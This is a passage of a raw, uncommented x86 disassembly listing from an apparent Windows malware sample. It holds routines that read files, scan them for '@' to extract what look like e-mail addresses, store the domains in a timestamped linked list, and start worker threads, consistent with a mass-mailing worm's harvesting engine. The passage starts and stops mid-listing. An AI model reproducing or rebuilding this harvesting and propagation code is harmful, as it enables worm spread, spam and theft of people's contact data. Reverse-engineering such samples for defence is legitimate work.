  5689.  
  5690. loc_4A59A6:                ; CODE XREF: sub_4A595D+91j
  5691.                     ; sub_4A595D+96j
  5692.         xor    eax, eax
  5693.         inc    eax
  5694.         jmp    loc_4A5A2E
  5695. ; ───────────────────────────────────────────────────────────────────────────
  5696.  
  5697. loc_4A59AE:                ; CODE XREF: sub_4A595D+47j
  5698.         push    60h
  5699.         push    ebx
  5700.         push    esi
  5701.         call    memset
  5702.         mov    eax, [esp+14h+arg_4]
  5703.         add    esp, 0Ch
  5704.         mov    [esi+4], eax
  5705.         lea    eax, [esi+8]
  5706.         push    4Fh        ; iMaxLength
  5707.         push    [esp+0Ch+lpString2] ; lpString2
  5708.         push    eax        ; lpString1
  5709.         call    ds:lstrcpynA
  5710.         call    ds:GetTickCount
  5711.         mov    [esi+58h], eax
  5712.         mov    [esi+5Ch], ebx
  5713.         mov    eax, ds:dword_4A83D4
  5714.         mov    [esi], eax
  5715.         mov    ds:dword_4A83D4, esi
  5716.         jmp    short loc_4A5A2C
  5717. ; ───────────────────────────────────────────────────────────────────────────
  5718.  
  5719. loc_4A59EC:                ; CODE XREF: sub_4A595D+31j
  5720.         cmp    esi, ebx
  5721.         jz    short loc_4A59A6
  5722.         cmp    [esi+5Ch], ebx
  5723.         jnz    short loc_4A59A6
  5724.         push    edi
  5725.         lea    edi, [esi+8]
  5726.         mov    dword ptr [esi+5Ch], 1
  5727.         mov    [edi], bl
  5728.         call    ds:GetTickCount
  5729.         push    dword ptr [esi+4] ; lpMem
  5730.         mov    [esi+58h], eax
  5731.         call    sub_4A50E5
  5732.         pop    ecx
  5733.         push    4Fh        ; iMaxLength
  5734.         push    [esp+10h+lpString2] ; lpString2
  5735.         push    edi        ; lpString1
  5736.         call    ds:lstrcpynA
  5737.         mov    eax, [esp+0Ch+arg_4]
  5738.         mov    [esi+5Ch], ebx
  5739.         mov    [esi+4], eax
  5740.         pop    edi
  5741.  
  5742. loc_4A5A2C:                ; CODE XREF: sub_4A595D+8Dj
  5743.         xor    eax, eax
  5744.  
  5745. loc_4A5A2E:                ; CODE XREF: sub_4A595D+4Cj
  5746.         pop    esi
  5747.         pop    ebx
  5748.         retn
  5749. sub_4A595D    endp
  5750.  
  5751.  
  5752. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5753.  
  5754.  
  5755. sub_4A5A31    proc near        ; CODE XREF: sub_4A5A7C+35p
  5756.  
  5757. lpString2    = dword    ptr  8
  5758.  
  5759.         push    esi
  5760.         mov    esi, [esp+lpString2]
  5761.         push    esi        ; lpString2
  5762.         call    sub_4A5934
  5763.         test    eax, eax
  5764.         pop    ecx
  5765.         jz    short loc_4A5A46
  5766.         inc    dword ptr [eax+5Ch]
  5767.         pop    esi
  5768.         retn
  5769. ; ───────────────────────────────────────────────────────────────────────────
  5770.  
  5771. loc_4A5A46:                ; CODE XREF: sub_4A5A31+Ej
  5772.         push    edi
  5773.         push    esi
  5774.         call    sub_4A50D1
  5775.         mov    edi, eax
  5776.         pop    ecx
  5777.         test    edi, edi
  5778.         jnz    short loc_4A5A62
  5779.         call    ds:GetTickCount
  5780.         test    al, 3
  5781.         jz    short loc_4A5A62
  5782.  
  5783. loc_4A5A5E:                ; CODE XREF: sub_4A5A31+43j
  5784.         xor    eax, eax
  5785.         jmp    short loc_4A5A79
  5786. ; ───────────────────────────────────────────────────────────────────────────
  5787.  
  5788. loc_4A5A62:                ; CODE XREF: sub_4A5A31+21j
  5789.                     ; sub_4A5A31+2Bj
  5790.         push    edi        ; int
  5791.         push    esi        ; lpString2
  5792.         call    sub_4A595D
  5793.         push    esi        ; lpString2
  5794.         call    sub_4A5934
  5795.         add    esp, 0Ch
  5796.         test    eax, eax
  5797.         jz    short loc_4A5A5E
  5798.         inc    dword ptr [eax+5Ch]
  5799.  
  5800. loc_4A5A79:                ; CODE XREF: sub_4A5A31+2Fj
  5801.         pop    edi
  5802.         pop    esi
  5803.         retn
  5804. sub_4A5A31    endp
  5805.  
  5806.  
  5807. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5808.  
  5809. ; Attributes: bp-based frame
  5810.  
  5811. sub_4A5A7C    proc near        ; CODE XREF: .text:004A5B06p
  5812.  
  5813. String1        = byte ptr -50h
  5814. arg_0        = dword    ptr  8
  5815.  
  5816.         push    ebp
  5817.         mov    ebp, esp
  5818.         sub    esp, 50h
  5819.         push    edi
  5820.         mov    edi, [ebp+arg_0]
  5821.         add    edi, 0Ah
  5822.         mov    eax, edi
  5823.         jmp    short loc_4A5A93
  5824. ; ───────────────────────────────────────────────────────────────────────────
  5825.  
  5826. loc_4A5A8D:                ; CODE XREF: sub_4A5A7C+1Bj
  5827.         cmp    cl, 40h
  5828.         jz    short loc_4A5A9E
  5829.         inc    eax
  5830.  
  5831. loc_4A5A93:                ; CODE XREF: sub_4A5A7C+Fj
  5832.         mov    cl, [eax]
  5833.         test    cl, cl
  5834.         jnz    short loc_4A5A8D
  5835.         cmp    cl, 40h
  5836.         jnz    short loc_4A5AE8
  5837.  
  5838. loc_4A5A9E:                ; CODE XREF: sub_4A5A7C+14j
  5839.         push    esi
  5840.         inc    eax
  5841.         push    4Fh        ; iMaxLength
  5842.         push    eax        ; lpString2
  5843.         lea    eax, [ebp+String1]
  5844.         push    eax        ; lpString1
  5845.         call    ds:lstrcpynA
  5846.         lea    eax, [ebp+String1]
  5847.         push    eax
  5848.         call    sub_4A5A31
  5849.         mov    esi, eax
  5850.         pop    ecx
  5851.         test    esi, esi
  5852.         jz    short loc_4A5AE7
  5853.         push    edi        ; lpString
  5854.         call    sub_4A76D2
  5855.         mov    edi, eax
  5856.         pop    ecx
  5857.         test    edi, edi
  5858.         jz    short loc_4A5ADC
  5859.         push    edi
  5860.         push    dword ptr [esi+4]
  5861.         call    sub_4A7F4C
  5862.         pop    ecx
  5863.         pop    ecx
  5864.         push    edi        ; hMem
  5865.         call    ds:GlobalFree
  5866.  
  5867. loc_4A5ADC:                ; CODE XREF: sub_4A5A7C+4Cj
  5868.         mov    eax, [esi+5Ch]
  5869.         test    eax, eax
  5870.         jle    short loc_4A5AE7
  5871.         dec    eax
  5872.         mov    [esi+5Ch], eax
  5873.  
  5874. loc_4A5AE7:                ; CODE XREF: sub_4A5A7C+3Fj
  5875.                     ; sub_4A5A7C+65j
  5876.         pop    esi
  5877.  
  5878. loc_4A5AE8:                ; CODE XREF: sub_4A5A7C+20j
  5879.         pop    edi
  5880.         leave
  5881.         retn
  5882. sub_4A5A7C    endp
  5883.  
  5884. ; ───────────────────────────────────────────────────────────────────────────
  5885.  
  5886. loc_4A5AEB:                ; DATA XREF: .text:004A5C57o
  5887.         push    esi
  5888.         push    edi
  5889.         mov    edi, offset dword_4A83D0
  5890.         push    edi
  5891.         call    ds:InterlockedIncrement
  5892.         mov    esi, [esp+0Ch]
  5893.         test    esi, esi
  5894.         jz    short loc_4A5B10
  5895.         push    esi
  5896.         mov    byte ptr [esi+8], 1
  5897.         call    sub_4A5A7C
  5898.         pop    ecx
  5899.         mov    byte ptr [esi+8], 2
  5900.  
  5901. loc_4A5B10:                ; CODE XREF: .text:004A5AFFj
  5902.         cmp    ds:dword_4A83D0, 0
  5903.         jbe    short loc_4A5B20
  5904.         push    edi
  5905.         call    ds:InterlockedDecrement
  5906.  
  5907. loc_4A5B20:                ; CODE XREF: .text:004A5B17j
  5908.         push    0
  5909.         call    ds:ExitThread
  5910.         pop    edi
  5911.         pop    esi
  5912.  
  5913. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5914.  
  5915.  
  5916. sub_4A5B2A    proc near        ; CODE XREF: .text:004A5C17p
  5917.         push    esi
  5918.         mov    esi, ds:dword_4A83CC
  5919.         push    edi
  5920.         mov    edi, offset dword_4A83CC
  5921.         jmp    short loc_4A5B7D
  5922. ; ───────────────────────────────────────────────────────────────────────────
  5923.  
  5924. loc_4A5B39:                ; CODE XREF: sub_4A5B2A+55j
  5925.         cmp    byte ptr [esi+8], 2
  5926.         jnz    short loc_4A5B5F
  5927.         call    ds:GetTickCount
  5928.         sub    eax, [esi+4]
  5929.         xor    edx, edx
  5930.         mov    ecx, 3E8h
  5931.         div    ecx
  5932.         lea    ecx, [eax+5]
  5933.         test    ecx, ecx
  5934.         jl    short loc_4A5B65
  5935.         cmp    eax, 1C20h
  5936.         jg    short loc_4A5B65
  5937.  
  5938. loc_4A5B5F:                ; CODE XREF: sub_4A5B2A+13j
  5939.         mov    edi, esi
  5940.         mov    esi, [esi]
  5941.         jmp    short loc_4A5B7D
  5942. ; ───────────────────────────────────────────────────────────────────────────
  5943.  
  5944. loc_4A5B65:                ; CODE XREF: sub_4A5B2A+2Cj
  5945.                     ; sub_4A5B2A+33j
  5946.         mov    ecx, [esi]
  5947.         mov    eax, esi
  5948.         push    eax        ; lpMem
  5949.         mov    [edi], ecx
  5950.         mov    esi, [esi]
  5951.         push    0        ; dwFlags
  5952.         call    ds:GetProcessHeap
  5953.         push    eax        ; hHeap
  5954.         call    ds:HeapFree
  5955.  
  5956. loc_4A5B7D:                ; CODE XREF: sub_4A5B2A+Dj
  5957.                     ; sub_4A5B2A+39j
  5958.         test    esi, esi
  5959.         jnz    short loc_4A5B39
  5960.         pop    edi
  5961.         pop    esi
  5962.         retn
  5963. sub_4A5B2A    endp
  5964.  
  5965. ; ───────────────────────────────────────────────────────────────────────────
  5966.         sub    esp, 0Ch
  5967.         and    dword ptr [esp+0], 0
  5968.         push    ebx
  5969.         push    ebp
  5970.         push    esi
  5971.         push    edi
  5972.         mov    edi, ds:Sleep
  5973.         mov    ds:dword_4A83D0, 0
  5974.         jmp    short loc_4A5BB9
  5975. ; ───────────────────────────────────────────────────────────────────────────
  5976.  
  5977. loc_4A5BA2:                ; CODE XREF: .text:004A5BC0j
  5978.         push    800h
  5979.         call    edi ; Sleep
  5980.         push    1
  5981.         call    sub_4A613D
  5982.         mov    dword ptr [esp], 3800h
  5983.  
  5984. loc_4A5BB7:                ; CODE XREF: .text:004A5C79j
  5985.                     ; .text:004A5C87j ...
  5986.         call    edi ; Sleep
  5987.  
  5988. loc_4A5BB9:                ; CODE XREF: .text:004A5BA0j
  5989.         call    sub_4A4681
  5990.         test    eax, eax
  5991.         jz    short loc_4A5BA2
  5992.         xor    eax, eax
  5993.         cmp    dword ptr [esp+10h], 1
  5994.         setz    al
  5995.         push    eax
  5996.         call    sub_4A613D
  5997.         mov    eax, ds:dword_4A83CC
  5998.         xor    esi, esi
  5999.         xor    ebx, ebx
  6000.         xor    ebp, ebp
  6001.         test    eax, eax
  6002.         pop    ecx
  6003.         mov    [esp+14h], esi
  6004.         jz    short loc_4A5C34
  6005.  
  6006. loc_4A5BE6:                ; CODE XREF: .text:004A5C0Dj
  6007.         inc    ebx
  6008.         cmp    byte ptr [eax+8], 0
  6009.         jnz    short loc_4A5BFC
  6010.         inc    ebp
  6011.         test    esi, esi
  6012.         jz    short loc_4A5BFA
  6013.         mov    cl, [esi+9]
  6014.         cmp    cl, [eax+9]
  6015.         jle    short loc_4A5BFC
  6016.  
  6017. loc_4A5BFA:                ; CODE XREF: .text:004A5BF0j
  6018.         mov    esi, eax
  6019.  
  6020. loc_4A5BFC:                ; CODE XREF: .text:004A5BEBj
  6021.                     ; .text:004A5BF8j
  6022.         mov    ecx, [eax+4]
  6023.         cmp    ecx, [esp+14h]
  6024.         jb    short loc_4A5C09
  6025.         mov    [esp+14h], ecx
  6026.  
  6027. loc_4A5C09:                ; CODE XREF: .text:004A5C03j
  6028.         mov    eax, [eax]
  6029.         test    eax, eax
  6030.         jnz    short loc_4A5BE6
  6031.         cmp    ebx, 1000h
  6032.         jl    short loc_4A5C34
  6033.         call    sub_4A5B2A
  6034.         cmp    ebp, 200h
  6035.         jle    short loc_4A5C34
  6036.         xor    eax, eax
  6037.         inc    eax
  6038.         push    eax
  6039.         mov    [esp+14h], eax
  6040.         call    sub_4A613D
  6041.         pop    ecx
  6042.         jmp    short loc_4A5C39
  6043. ; ───────────────────────────────────────────────────────────────────────────
  6044.  
  6045. loc_4A5C34:                ; CODE XREF: .text:004A5BE4j
  6046.                     ; .text:004A5C15j ...
  6047.         and    dword ptr [esp+10h], 0
  6048.  
  6049. loc_4A5C39:                ; CODE XREF: .text:004A5C32j
  6050.         xor    eax, eax
  6051.         cmp    ebp, eax
  6052.         jz    short loc_4A5C8C
  6053.         cmp    esi, eax
  6054.         jz    short loc_4A5C8C
  6055.         cmp    ds:dword_4A83D0, 4
  6056.         jnb    short loc_4A5C74
  6057.         lea    ecx, [esp+18h]
  6058.         mov    byte ptr [esi+8], 1
  6059.         push    ecx
  6060.         push    eax
  6061.         push    esi
  6062.         push    offset loc_4A5AEB
  6063.         push    eax
  6064.         push    eax
  6065.         call    ds:CreateThread
  6066.         test    eax, eax
  6067.         jz    short loc_4A5C7E
  6068.         cmp    eax, 0FFFFFFFFh
  6069.         jz    short loc_4A5C7E
  6070.         push    eax
  6071.         call    ds:CloseHandle
  6072.  
  6073. loc_4A5C74:                ; CODE XREF: .text:004A5C4Aj
  6074.         push    100h
  6075.         jmp    loc_4A5BB7
  6076. ; ───────────────────────────────────────────────────────────────────────────
  6077.  
  6078. loc_4A5C7E:                ; CODE XREF: .text:004A5C66j
  6079.                     ; .text:004A5C6Bj
  6080.         mov    byte ptr [esi+8], 2
  6081.  
  6082. loc_4A5C82:                ; CODE XREF: .text:004A5C9Ej
  6083.                     ; .text:004A5CA5j ...
  6084.         push    400h
  6085.         jmp    loc_4A5BB7
  6086. ; ───────────────────────────────────────────────────────────────────────────
  6087.  
  6088. loc_4A5C8C:                ; CODE XREF: .text:004A5C3Dj
  6089.                     ; .text:004A5C41j
  6090.         push    eax
  6091.         mov    dword ptr [esp+14h], 2
  6092.         call    sub_4A613D
  6093.         cmp    ebx, 3
  6094.         pop    ecx
  6095.         jl    short loc_4A5C82
  6096.         cmp    dword ptr [esp+14h], 0
  6097.         jz    short loc_4A5C82
  6098.         call    ds:GetTickCount
  6099.         sub    eax, [esp+14h]
  6100.         cmp    eax, 1770h
  6101.         jb    short loc_4A5C82
  6102.         call    sub_4A586A
  6103.         push    80h
  6104.         jmp    loc_4A5BB7
  6105.  
  6106. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6107.  
  6108.  
  6109. sub_4A5CC7    proc near        ; CODE XREF: main+70p
  6110.         xor    eax, eax
  6111.         mov    ds:dword_4A83CC, eax
  6112.         mov    ds:dword_4A83D0, eax
  6113.         mov    ds:dword_4A83D4, eax
  6114.         retn
  6115. sub_4A5CC7    endp
  6116.  
  6117. ; ───────────────────────────────────────────────────────────────────────────
  6118. dword_4A5CD9    dd 0FFFEA6E8h, 0FF006AFFh, 4A10A015h ; DATA XREF: main+7Bo
  6119. ; ───────────────────────────────────────────────────────────────────────────
  6120.         add    ah, cl
  6121.  
  6122. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6123.  
  6124. ; Attributes: bp-based frame
  6125.  
  6126. sub_4A5CE7    proc near        ; CODE XREF: sub_4A5EC8+79p
  6127.  
  6128. var_C        = dword    ptr -0Ch
  6129. var_8        = dword    ptr -8
  6130. var_4        = dword    ptr -4
  6131. WideCharStr    = word ptr  8
  6132. arg_4        = dword    ptr  0Ch
  6133.  
  6134.         push    ebp
  6135.         mov    ebp, esp
  6136.         sub    esp, 0Ch
  6137.         cmp    [ebp+arg_4], 0
  6138.         mov    eax, dword ptr [ebp+WideCharStr]
  6139.         jle    short loc_4A5D0C
  6140.         mov    edx, [ebp+arg_4]
  6141.  
  6142. loc_4A5CF9:                ; CODE XREF: sub_4A5CE7+23j
  6143.         movzx    ecx, byte ptr [eax]
  6144.         mov    cl, ds:byte_4A2B00[ecx]
  6145.         test    cl, cl
  6146.         jz    short loc_4A5D08
  6147.         mov    [eax], cl
  6148.  
  6149. loc_4A5D08:                ; CODE XREF: sub_4A5CE7+1Dj
  6150.         inc    eax
  6151.         dec    edx
  6152.         jnz    short loc_4A5CF9
  6153.  
  6154. loc_4A5D0C:                ; CODE XREF: sub_4A5CE7+Dj
  6155.         push    ebx
  6156.         push    esi
  6157.         push    edi
  6158.  
  6159. loc_4A5D0F:                ; CODE XREF: sub_4A5CE7+E0j
  6160.         xor    esi, esi
  6161.         cmp    [ebp+arg_4], esi
  6162.         mov    [ebp+var_4], esi
  6163.         jl    loc_4A5DA9
  6164.  
  6165. loc_4A5D1D:                ; CODE XREF: sub_4A5CE7+BCj
  6166.         push    2
  6167.         mov    edi, offset dword_4A2C08
  6168.         pop    ebx
  6169.         mov    [ebp+var_8], ebx
  6170.  
  6171. loc_4A5D28:                ; CODE XREF: sub_4A5CE7+B6j
  6172.         cmp    ebx, esi
  6173.         jg    short loc_4A5D92
  6174.         mov    ecx, dword ptr [ebp+WideCharStr]
  6175.         mov    eax, esi
  6176.         sub    eax, ebx
  6177.         push    ebx
  6178.         mov    [ebp+var_C], eax
  6179.         add    eax, ecx
  6180.         push    eax
  6181.         push    dword ptr [edi-4]
  6182.         call    sub_4A42A7
  6183.         add    esp, 0Ch
  6184.         test    eax, eax
  6185.         jnz    short loc_4A5D92
  6186.         push    dword ptr [edi]
  6187.         mov    esi, [ebp+var_C]
  6188.         mov    eax, dword ptr [ebp+WideCharStr]
  6189.         inc    [ebp+var_4]
  6190.         push    dword ptr [edi+4]
  6191.         add    eax, esi
  6192.         push    eax
  6193.         call    memcpy
  6194.         mov    eax, [edi]
  6195.         add    esp, 0Ch
  6196.         cmp    ebx, eax
  6197.         jz    short loc_4A5D8B
  6198.         mov    edx, [ebp+arg_4]
  6199.         add    eax, esi
  6200.         sub    edx, [ebp+var_8]
  6201.         add    eax, dword ptr [ebp+WideCharStr]
  6202.         lea    ecx, [ebx+esi]
  6203.         add    ecx, dword ptr [ebp+WideCharStr]
  6204.         sub    edx, esi
  6205.         test    edx, edx
  6206.         jle    short loc_4A5D88
  6207.  
  6208. loc_4A5D7F:                ; CODE XREF: sub_4A5CE7+9Fj
  6209.         mov    bl, [ecx]
  6210.         mov    [eax], bl
  6211.         inc    eax
  6212.         inc    ecx
  6213.         dec    edx
  6214.         jnz    short loc_4A5D7F
  6215.  
  6216. loc_4A5D88:                ; CODE XREF: sub_4A5CE7+96j
  6217.         mov    ebx, [ebp+var_8]
  6218.  
  6219. loc_4A5D8B:                ; CODE XREF: sub_4A5CE7+7Fj
  6220.         mov    eax, [edi]
  6221.         sub    eax, ebx
  6222.         add    [ebp+arg_4], eax
  6223.  
  6224. loc_4A5D92:                ; CODE XREF: sub_4A5CE7+43j
  6225.                     ; sub_4A5CE7+60j
  6226.         mov    ebx, [edi+8]
  6227.         add    edi, 10h
  6228.         test    ebx, ebx
  6229.         mov    [ebp+var_8], ebx
  6230.         jnz    short loc_4A5D28
  6231.         inc    esi
  6232.         cmp    esi, [ebp+arg_4]
  6233.         jle    loc_4A5D1D
  6234.  
  6235. loc_4A5DA9:                ; CODE XREF: sub_4A5CE7+30j
  6236.         mov    esi, dword ptr [ebp+WideCharStr]
  6237.         mov    eax, [ebp+arg_4]
  6238.         push    esi        ; WideCharStr
  6239.         and    byte ptr [esi+eax], 0
  6240.         call    sub_4A4321
  6241.         add    [ebp+var_4], eax
  6242.         push    esi
  6243.         call    sub_4A4489
  6244.         add    eax, [ebp+var_4]
  6245.         pop    ecx
  6246.         pop    ecx
  6247.         jnz    loc_4A5D0F
  6248.         pop    edi
  6249.         pop    esi
  6250.         xor    eax, eax
  6251.         pop    ebx
  6252.         leave
  6253.         retn
  6254. sub_4A5CE7    endp
  6255.  
  6256.  
  6257. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6258.  
  6259. ; Attributes: bp-based frame
  6260.  
  6261. sub_4A5DD4    proc near        ; CODE XREF: sub_4A5EC8+88p
  6262.  
  6263. var_108        = byte ptr -108h
  6264. var_8        = dword    ptr -8
  6265. var_4        = dword    ptr -4
  6266. arg_0        = dword    ptr  8
  6267. arg_4        = dword    ptr  0Ch
  6268.  
  6269.         push    ebp
  6270.         mov    ebp, esp
  6271.         sub    esp, 108h
  6272.         push    edi
  6273.         xor    edi, edi
  6274.         cmp    [ebp+arg_4], edi
  6275.         mov    [ebp+var_4], edi
  6276.         jle    loc_4A5EC2
  6277.         push    ebx
  6278.         push    esi
  6279.         mov    esi, [ebp+arg_0]
  6280.  
  6281. loc_4A5DF1:                ; CODE XREF: sub_4A5DD4+E6j
  6282.         lea    ebx, [edi+1]
  6283.         mov    [ebp+var_8], ebx
  6284.         cmp    byte ptr [esi+ebx-1], 40h
  6285.         jnz    loc_4A5EB5
  6286.         test    edi, edi
  6287.         mov    ecx, edi
  6288.         jle    short loc_4A5E1B
  6289.  
  6290. loc_4A5E08:                ; CODE XREF: sub_4A5DD4+45j
  6291.         movzx    eax, byte ptr [esi+ecx-1]
  6292.         cmp    ds:byte_4A2C90[eax], 0
  6293.         jz    short loc_4A5E1B
  6294.         dec    ecx
  6295.         test    ecx, ecx
  6296.         jg    short loc_4A5E08
  6297.  
  6298. loc_4A5E1B:                ; CODE XREF: sub_4A5DD4+32j
  6299.                     ; sub_4A5DD4+40j
  6300.         cmp    ebx, [ebp+arg_4]
  6301.         mov    eax, ebx
  6302.         jge    short loc_4A5E45
  6303.  
  6304. loc_4A5E22:                ; CODE XREF: sub_4A5DD4+5Fj
  6305.         movzx    edx, byte ptr [eax+esi]
  6306.         cmp    ds:byte_4A2C90[edx], 0
  6307.         jz    short loc_4A5E45
  6308.         inc    eax
  6309.         cmp    eax, [ebp+arg_4]
  6310.         jl    short loc_4A5E22
  6311.         jmp    short loc_4A5E45
  6312. ; ───────────────────────────────────────────────────────────────────────────
  6313.  
  6314. loc_4A5E37:                ; CODE XREF: sub_4A5DD4+73j
  6315.         movzx    edx, byte ptr [ecx+esi]
  6316.         cmp    ds:byte_4A2C90[edx], 2
  6317.         jnz    short loc_4A5E49
  6318.         inc    ecx
  6319.  
  6320. loc_4A5E45:                ; CODE XREF: sub_4A5DD4+4Cj
  6321.                     ; sub_4A5DD4+59j ...
  6322.         cmp    ecx, eax
  6323.         jl    short loc_4A5E37
  6324.  
  6325. loc_4A5E49:                ; CODE XREF: sub_4A5DD4+6Ej
  6326.         lea    edx, [ecx+3]
  6327.         cmp    edx, eax
  6328.         jge    short loc_4A5EB5
  6329.         cmp    ecx, edi
  6330.         jge    short loc_4A5EB5
  6331.         cmp    eax, ecx
  6332.         jle    short loc_4A5E6E
  6333.  
  6334. loc_4A5E58:                ; CODE XREF: sub_4A5DD4+95j
  6335.         movzx    ebx, byte ptr [esi+eax-1]
  6336.         cmp    ds:byte_4A2C90[ebx], 2
  6337.         jnz    short loc_4A5E6B
  6338.         dec    eax
  6339.         cmp    eax, ecx
  6340.         jg    short loc_4A5E58
  6341.  
  6342. loc_4A5E6B:                ; CODE XREF: sub_4A5DD4+90j
  6343.         mov    ebx, [ebp+var_8]
  6344.  
  6345. loc_4A5E6E:                ; CODE XREF: sub_4A5DD4+82j
  6346.         cmp    eax, edx
  6347.         jle    short loc_4A5EB5
  6348.         cmp    eax, edi
  6349.         jle    short loc_4A5EB5
  6350.         sub    eax, ecx
  6351.         mov    edi, eax
  6352.         cmp    edi, 7
  6353.         jl    short loc_4A5EB5
  6354.         inc    [ebp+var_4]
  6355.         xor    edx, edx
  6356.         add    ecx, esi
  6357.  
  6358. loc_4A5E86:                ; CODE XREF: sub_4A5DD4+C7j
  6359.         cmp    edx, edi
  6360.         jge    short loc_4A5E9D
  6361.         mov    al, [ecx]
  6362.         mov    [ebp+edx+var_108], al
  6363.         inc    edx
  6364.         inc    ecx
  6365.         cmp    edx, 0FEh
  6366.         jb    short loc_4A5E86
  6367.  
  6368. loc_4A5E9D:                ; CODE XREF: sub_4A5DD4+B4j
  6369.         and    [ebp+edx+var_108], 0
  6370.         lea    eax, [ebp+var_108]
  6371.         push    0
  6372.         push    eax
  6373.         call    sub_4A5788
  6374.         pop    ecx
  6375.         pop    ecx
  6376.  
  6377. loc_4A5EB5:                ; CODE XREF: sub_4A5DD4+28j
  6378.                     ; sub_4A5DD4+7Aj ...
  6379.         mov    edi, ebx
  6380.         cmp    edi, [ebp+arg_4]
  6381.         jl    loc_4A5DF1
  6382.         pop    esi
  6383.         pop    ebx
  6384.  
  6385. loc_4A5EC2:                ; CODE XREF: sub_4A5DD4+12j
  6386.         mov    eax, [ebp+var_4]
  6387.         pop    edi
  6388.         leave
  6389.         retn
  6390. sub_4A5DD4    endp
  6391.  
  6392.  
  6393. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6394.  
  6395. ; Attributes: bp-based frame
  6396.  
  6397. sub_4A5EC8    proc near        ; CODE XREF: sub_4A6147+1ABp
  6398.  
  6399. var_10010    = byte ptr -10010h
  6400. hObject        = dword    ptr -10h
  6401. var_C        = dword    ptr -0Ch
  6402. var_8        = dword    ptr -8
  6403. var_4        = dword    ptr -4
  6404. lpFileName    = dword    ptr  8
  6405.  
  6406.         push    ebp
  6407.         mov    ebp, esp
  6408.         mov    eax, 10010h
  6409.         call    sub_4A8180
  6410.         push    ebx
  6411.         xor    ebx, ebx
  6412.         push    ebx        ; hTemplateFile
  6413.         push    80h        ; dwFlagsAndAttributes
  6414.         push    3        ; dwCreationDisposition
  6415.         push    ebx        ; lpSecurityAttributes
  6416.         push    3        ; dwShareMode
  6417.         push    80000000h    ; dwDesiredAccess
  6418.         push    [ebp+lpFileName] ; lpFileName
  6419.         call    ds:CreateFileA
  6420.         cmp    eax, ebx
  6421.         mov    [ebp+hObject], eax
  6422.         jz    loc_4A5F91
  6423.         cmp    eax, 0FFFFFFFFh
  6424.         jz    loc_4A5F91
  6425.         push    esi
  6426.         mov    esi, ds:ReadFile
  6427.         push    edi
  6428.         lea    ecx, [ebp+var_4]
  6429.         push    ebx
  6430.         push    ecx
  6431.         mov    edi, 0FFFDh
  6432.         lea    ecx, [ebp+var_10010]
  6433.         push    edi
  6434.         push    ecx
  6435.         mov    [ebp+var_8], ebx
  6436.         mov    [ebp+var_C], ebx
  6437.         push    eax
  6438.         jmp    short loc_4A5F76
  6439. ; ───────────────────────────────────────────────────────────────────────────
  6440.  
  6441. loc_4A5F28:                ; CODE XREF: sub_4A5EC8+B8j
  6442.         cmp    eax, 0FFFFh
  6443.         jnb    short loc_4A5F82
  6444.         add    [ebp+var_8], eax
  6445.         mov    [ebp+eax+var_10010], bl
  6446.         push    eax
  6447.         lea    eax, [ebp+var_10010]
  6448.         push    eax
  6449.         call    sub_4A5CE7
  6450.         push    [ebp+var_4]
  6451.         lea    eax, [ebp+var_10010]
  6452.         push    eax
  6453.         call    sub_4A5DD4
  6454.         add    esp, 10h
  6455.         add    [ebp+var_C], eax
  6456.         jnz    short loc_4A5F66
  6457.         cmp    [ebp+var_8], 4B000h
  6458.         ja    short loc_4A5F82
  6459.  
  6460. loc_4A5F66:                ; CODE XREF: sub_4A5EC8+93j
  6461.         lea    eax, [ebp+var_4]
  6462.         push    ebx
  6463.         push    eax
  6464.         lea    eax, [ebp+var_10010]
  6465.         push    edi
  6466.         push    eax
  6467.         push    [ebp+hObject]
  6468.  
  6469. loc_4A5F76:                ; CODE XREF: sub_4A5EC8+5Ej
  6470.         mov    [ebp+var_4], ebx
  6471.         call    esi
  6472.         mov    eax, [ebp+var_4]
  6473.         cmp    eax, ebx
  6474.         jnz    short loc_4A5F28
  6475.  
  6476. loc_4A5F82:                ; CODE XREF: sub_4A5EC8+65j
  6477.                     ; sub_4A5EC8+9Cj
  6478.         push    [ebp+hObject]    ; hObject
  6479.         call    ds:CloseHandle
  6480.         pop    edi
  6481.         xor    eax, eax
  6482.         pop    esi
  6483.         jmp    short loc_4A5F94
  6484. ; ───────────────────────────────────────────────────────────────────────────
  6485.  
  6486. loc_4A5F91:                ; CODE XREF: sub_4A5EC8+2Ej
  6487.                     ; sub_4A5EC8+37j
  6488.         xor    eax, eax
  6489.         inc    eax
  6490.  
  6491. loc_4A5F94:                ; CODE XREF: sub_4A5EC8+C7j
  6492.         pop    ebx
  6493.         leave
  6494.         retn
  6495. sub_4A5EC8    endp
  6496.  
  6497.  
  6498. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6499.  
  6500.  
  6501. sub_4A5F97    proc near        ; CODE XREF: sub_4A60A5+84p
  6502.                     ; sub_4A6147+1BBp
  6503.  
  6504. var_74        = byte ptr -74h
  6505.  
  6506.         push    ebp
  6507.         lea    ebp, [esp+var_74]
  6508.         sub    esp, 94h
  6509.         push    ebx
  6510.         xor    ebx, ebx
  6511.         push    esi
  6512.         push    ebx        ; hTemplateFile
  6513.         push    80h        ; dwFlagsAndAttributes
  6514.         push    3        ; dwCreationDisposition
  6515.         push    ebx        ; lpSecurityAttributes
  6516.         push    3        ; dwShareMode
  6517.         push    80000000h    ; dwDesiredAccess
  6518.         push    dword ptr [ebp+7Ch] ; lpFileName
  6519.         call    ds:CreateFileA
  6520.         mov    esi, eax
  6521.         cmp    esi, ebx
  6522.         mov    [ebp+64h], esi
  6523.         jz    loc_4A609B
  6524.         cmp    esi, 0FFFFFFFFh
  6525.         jz    loc_4A609B
  6526.         push    ebx        ; lpFileSizeHigh
  6527.         push    esi        ; hFile
  6528.         call    ds:GetFileSize
  6529.         push    ebx        ; lpName
  6530.         push    ebx        ; dwMaximumSizeLow
  6531.         push    ebx        ; dwMaximumSizeHigh
  6532.         push    2        ; flProtect
  6533.         push    ebx        ; lpFileMappingAttributes
  6534.         push    esi        ; hFile
  6535.         mov    [ebp+68h], eax
  6536.         call    ds:CreateFileMappingA
  6537.         cmp    eax, ebx
  6538.         mov    [ebp+60h], eax
  6539.         jz    loc_4A6096
  6540.         cmp    eax, 0FFFFFFFFh
  6541.         jz    loc_4A6096
  6542.         push    edi
